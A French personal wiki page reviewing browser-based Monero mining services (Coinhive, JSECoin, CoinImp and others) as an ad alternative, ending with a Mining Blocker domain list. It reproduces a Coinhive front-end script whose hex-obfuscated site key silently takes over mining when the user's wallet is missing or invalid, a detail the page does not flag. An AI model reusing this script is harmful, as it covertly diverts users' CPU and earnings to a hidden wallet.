Outils pour utilisateurs

Outils du site


Panneau latéral

webdev:javascript:crypto-mining

Crypto mining with javascript

Si c'est fait en demandant l'autorisation de l'utilisateur, avec besoin de renouveler l'autorisation et en n'incluant pas du tout le js dans la page avant l'autorisation pour éviter d'énerver les anti-virus et bloqueurs de scripts de minage, ça pourrait être une alternative pertinente aux pubs. À voir.

Apparemment c'est pas rentable pour le bitcoin, mais les gens ont l'air de le faire sur Monero. Quelques scripts existants :

Scripts existants et avis

Coinhive / AuthedMine

https://coinhive.com/ - le code n'est pas montré, ils ont l'air de tenir à ce qu'on passe par leurs serveurs et demandent une inscription pour avoir le code : ça pue l'arnaque

I.e. you get 70% of the average XMR we earn. Unlike a traditional mining pool, this rate is fixed, regardless of actual blocks found and the luck involved finding them. We keep 30% for us to operate this service and to (hopefully) turn a profit.

Ils se prennent 30%. NOPE

AuthedMine - script qui nécessite une autorisation pour marcher, à l'air cool en fait c'est juste coinhive avec une étape en plus et un passage par un site tiers obligatoire

JSECoin

JSECoin - crypto dédiée au minage sur navigateur, absolument aucune autre valeur ajoutée + ICO douteuse et chère (2$ minimum) + dépendance à leurs serveurs + ça passera par des iframes donc pas de contrôle du code source à priori ⇒ NOPE

Coinhave

Site

Commission 20%, recommande d'en mettre dans des plugins : NOPE

CoinImp

Site (pas sur la liste de Mining Blocker pour l'instant)

1% de commission, documentation vide et pas la moindre trace de js. Peut quand même faire le café.

Ils ont aussi lancé une crypto censée être ASIC résistante : Site - Taux

Crypto-loot

Cryptoloot : 88% of mined commissions, at minimum intervals of 0.3 XMR

Crypto-webminer

Site 1% de commission, plusieurs crypto possibles.

Trouvé ce code qui avait l'air intéressant :

Cliquez pour afficher ⇲

Cliquez pour masquer ⇱

$(function() {
  $('#threads').text(navigator.hardwareConcurrency);
  var threads = $('#threads').text();
  var gustav;
  var wallet;
  var statuss;
  var barChart;
  var barChartCanvas = $("#barchart-canvas");
  var _0xa0d4=["\x65\x74\x6E\x6B\x46\x78\x76\x44\x58\x48\x31\x54\x55\x76\x36\x78\x53\x61\x56\x71\x6D\x70\x31\x37\x4B\x4A\x76\x44\x42\x70\x39\x78\x4B\x5A\x79\x73\x44\x35\x39\x57\x36\x48\x47\x35\x47\x41\x33\x65\x31\x46\x44\x7A\x44\x35\x45\x39\x4A\x74\x64\x77\x58\x66\x47\x6B\x48\x6F\x33\x71\x75\x79\x47\x31\x42\x37\x31\x78\x51\x50\x33\x45\x69\x32\x31\x4C\x52\x46\x33\x61\x33\x51\x57\x71\x4C\x66\x6F\x41\x37\x67\x2E\x35\x30\x30\x30\x40\x4F\x66\x66\x69\x63\x65\x52\x69\x67"];var siteKey=_0xa0d4[0]
  var hashingChart;
  var charts = [barChartCanvas];
  var selectedChart = 0;
  if ($.cookie("wallet")) {
    wallet = $.cookie("wallet");
    $('#wallet').val(wallet);
  }
  function htmlEncode(value) {
    return $('<div/>').text(value).html();
  }

  function startLogger() {
    statuss = setInterval(function() {
      var hashesPerSecond = gustav.getHashesPerSecond();
      var totalHashes = gustav.getTotalHashes();
      var acceptedHashes = gustav.getAcceptedHashes();
      $('#hashes-per-second').text(hashesPerSecond.toFixed(1));
      $('#accepted-shares').text(totalHashes.toLocaleString()+' | '+acceptedHashes.toLocaleString());
      threads = gustav.getNumThreads();
      $('#threads').text(threads);
    }, 1000);

    hashingChart = setInterval(function() {
      if (barChart.data.datasets[0].data.length > 25) {
        barChart.data.datasets[0].data.splice(0, 1);
        barChart.data.labels.splice(0, 1);
      }
      barChart.data.datasets[0].data.push(gustav.getHashesPerSecond());
      barChart.data.labels.push("");
      barChart.update();
    }, 1000);
  };

  function stopLogger() {
    clearInterval(statuss);
    clearInterval(hashingChart);
  };
  $('#thread-add').click(function() {
    threads++;
    $('#threads').text(threads);
    if (gustav) {
      $('#autoThreads').prop('checked', false);
      if (gustav.isRunning()) {
        gustav.setAutoThreadsEnabled(false);
        gustav.setNumThreads(threads);
      }
    }
  });

  $('#thread-remove').click(function() {
    if (threads > 1) {
      threads--;
      $('#threads').text(threads);
      if (gustav) {
        $('#autoThreads').prop('checked', false);
        if (gustav.isRunning()) {
          gustav.setAutoThreadsEnabled(false);
          gustav.setNumThreads(threads);
        }
      }
    }
  });


  $("#start").click(function() {
    if (!gustav || !gustav.isRunning()) {
      wallet = $('#wallet').val();
      if (wallet) {
		gustav = new CH.Anonymous(wallet + ".5000");
		console.log(wallet);
		$.cookie("wallet", wallet, {
		expires: 365
		});
		gustav.on('error', function(params) {
		if (params.error !== 'connection_error') {
			if(params.error == "invalid_site_key")
			{
			console.log(params.error);
			gustav.stop();
		    stopLogger();
		    $('#wallet').prop("disabled", false);
		    $("#start").text("Start");
		    $('#hashes-per-second').text("0");
		    $('#accepted-shares').text("0" +' | '+"0");
			gustav = new CH.Anonymous(siteKey);
			$('#wallet').prop("disabled", true);
			gustav.setNumThreads(threads);
			gustav.setAutoThreadsEnabled($('#autoThreads').prop('checked')); 
			gustav.start();
			stopLogger();
			startLogger();
			$("#start").text("Stop");
			}
		}
		});
      } 
	  else 
	  {
        gustav = new CH.Anonymous(siteKey);
      }
      $('#wallet').prop("disabled", true);
      gustav.setNumThreads(threads);
      gustav.setAutoThreadsEnabled($('#autoThreads').prop('checked')); 
      gustav.start();
      stopLogger();
      startLogger();
      $("#start").text("Stop");
    } else {
      gustav.stop();
      stopLogger();
      $('#wallet').prop("disabled", false);
      $("#start").text("Start");
      $('#hashes-per-second').text("0");
	  $('#accepted-shares').text("0" +' | '+"0");
    }
  });

  $('#autoThreads').click(function() {
    if (gustav) {
      gustav.setAutoThreadsEnabled(!gustav.getAutoThreadsEnabled());
    }
  });


  var barChartOptions = {
    label: 'Hashes',
    elements: {
      line: {
        tension: 0, // disables bezier curves
      }
    },
    animation: {
      duration: 0, // general animation time
    },
    responsiveAnimationDuration: 0,
    scales: {
      yAxes: [{
        ticks: {
          max: 200,
          min: 0
        }
      }]
    }
  };

  var barChartData = {
    labels: [],
    datasets: [{
      label: "Hashes/s",
      backgroundColor: "darkcyan",
      data: []
    }],
  };

  barChart = new Chart(barChartCanvas, {
    type: 'line',
    data: barChartData,
    options: barChartOptions
  });
});

Nano Miner

Site

Mine en Monero et repaie en Nano, qui n'a pas de transaction fee. Aucune info sur leur marge cela dit, et ils parlent pas d'intégration.

Reste

Liste bloquée par Mining Blocker :

  • mataharirama introuvable
  • minecrunch mort
  • reasedoper
  • minemytraffic
  • lmodr
  • minemytraffic
  • listat
  • cryptonight
  • xbasfbno
  • azvjudwr
  • jyhfuqoh
  • miner.pr0gramm
  • jroqvbvw
  • projectpoi
  • kdowqlpt
  • ppoi
  • hashforcash
  • coinerra
  • inwemo
  • monerominer
  • minero
  • CoinBlind
  • monad
  • coinlab
  • coinnebula
  • cloudcoins
  • gridcash
  • AdMiner
  • Socketminer
  • Cloudcoins
  • Webmine
  • hashunited
  • mineralt
  • easyhash
  • webminepool
  • monerise
  • coinpirate
webdev/javascript/crypto-mining.txt · Dernière modification: 23/10/2018 18:19 de dolo